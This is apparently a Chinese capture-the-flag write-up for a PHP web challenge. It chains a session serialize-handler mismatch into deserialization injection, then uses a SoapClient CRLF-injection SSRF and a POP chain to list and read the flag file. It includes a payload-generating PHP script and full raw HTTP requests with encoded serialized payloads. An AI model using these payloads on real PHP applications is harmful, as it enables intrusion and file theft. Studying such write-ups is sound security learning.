当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
例如传入
$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';
序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:“name”;s:5:”当作键名,而把O:5:“Smi1e”:1:{s:4:“test”;s:3:“AAA”;}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
所以我们就可以利用这点来构造session序列化,
POST /?d0g3=php_serialize&baby=session.serialize_handler
sess=|xxx
而在flag.php中有
我们显而易见是要构造soapclient类去SSRF,然后利用flag中的函数构造原生类去读取文件
脚本如下:
<?php
$target = 'http://127.0.0.1:80/flag.php?a=DirectoryIterator&b=glob:///*f*';
$post_string = 'HY=666';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>
注意在本题中由于涉及倒session问题,PHPSESSID一定要一致
最终可得到payload:
POST /?d0g3=php_serialize&baby=session.serialize_handler HTTP/1.1
Host: 47.108.29.107:10354
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 502
Origin: http://47.108.29.107:10354
Connection: close
Referer: http://47.108.29.107:10354/
Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl
Upgrade-Insecure-Requests: 1
sess=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A62%3A%22http%3A%2F%2F127.0.0.1%3A80%2Fflag.php%3Fa%3DDirectoryIterator%26b%3Dglob%3A%2F%2F%2F%2Af%2A%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A157%3A%22wupco%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dkod01dgtpdrd999ms9vqa8l5hl%0D%0AContent-Length%3A+6%0D%0A%0D%0AHY%3D666%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
我们可以通过这种办法把session写进去
使用pop链触发ssrf
可以在类中看到调用
call_user_func(array(reset($_SESSION), $this->a))
这里call_user_func的用法,就是执行类中的静态函数或者一个对象的方法
如果我们要ssrf访问flag.php,我们就使用原生类SoapClient该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
同时__call的触发方法就是在调用这个对象不存在的一个方法时触发,刚好符合我们的需求
所以我们稍微修改下pop链条就可以触发ssrf
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";s:6:"sakura";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";r:2;}}s:1:"b";N;s:1:"k";N;
利用过程
1.先利用session反序列化传入session的值
POST /?d0g3=php_serialize&baby=session.serialize_handler HTTP/1.1
Host: 47.108.29.107:10354
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 502
Origin: http://47.108.29.107:10354
Connection: close
Referer: http://47.108.29.107:10354/
Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl
Upgrade-Insecure-Requests: 1
sess=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A62%3A%22http%3A%2F%2F127.0.0.1%3A80%2Fflag.php%3Fa%3DDirectoryIterator%26b%3Dglob%3A%2F%2F%2F%2Af%2A%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A157%3A%22wupco%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dkod01dgtpdrd999ms9vqa8l5hl%0D%0AContent-Length%3A+6%0D%0A%0D%0AHY%3D666%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
2.调用pop链进行SSRF
POST / HTTP/1.1
Host: 47.108.29.107:10354
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 279
Origin: http://47.108.29.107:10354
Connection: close
Referer: http://47.108.29.107:10354/
Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl
Upgrade-Insecure-Requests: 1
pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22phpinf%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3Br%3A2%3B%7D%7Ds%3A1%3A%22b%22%3BN%3Bs%3A1%3A%22k%22%3BN%3B
我们成功找到了根目录下flag文件的名称,接下来同理,构造原生类读取文件即可
1.session反序列化
POST /?d0g3=php_serialize&baby=session.serialize_handler HTTP/1.1
Host: 47.108.29.107:10354
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 493
Origin: http://47.108.29.107:10354
Connection: close
Referer: http://47.108.29.107:10354/
Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl
Upgrade-Insecure-Requests: 1
sess=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A63%3A%22http%3A%2F%2F127.0.0.1%3A80%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A157%3A%22wupco%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dkod01dgtpdrd999ms9vqa8l5hl%0D%0AContent-Length%3A+6%0D%0A%0D%0AHY%3D666%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
2.触发读flag文件(这里用的SplFileObject原生类)
这里的数据包和上面一样,不过这题反序列化的时候要等挺长时间的
3.访问主页面,记得不要再传参了,session会被覆盖
参考链接
https://www.cnblogs.com/xiaoqiyue/p/10951836.html
https://blog.csdn.net/weixin_39616995/article/details/118546436
https://www.cnblogs.com/webu/archive/2013/01/28/2879383.html
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!